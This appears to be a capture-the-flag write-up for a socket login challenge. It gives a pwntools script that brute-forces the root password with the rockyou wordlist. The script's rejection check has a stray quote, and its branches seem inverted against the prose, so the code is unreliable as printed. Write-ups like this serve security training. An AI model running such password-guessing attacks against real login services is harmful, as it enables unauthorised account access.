Challenge
A login prompt over a raw socket. It asks for a username, then a password.
Approach
I went straight for a dictionary attack: connect, send root, then walk rockyou.txt one password per attempt, reconnecting whenever the server answered with the rejection message.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| from pwn import *
import chardet
USERNAME = 'root'
def connect():
r = remote('challs.bcactf.com', 31723)
for _ in range(8):
r.recvline()
r.sendline(USERNAME)
return r
r = connect()
with open('/usr/share/wordlists/rockyou.txt', 'r', encoding='utf-8', errors='ignore') as f:
for password in f:
password = password.strip()
if password:
r.sendline(password)
print(r.recvline())
response = r.recvline()
print(response)
if b'"Please come again!' not in response:
r.close()
r = connect()
else:
print(f'Correct password: {password}')
break
|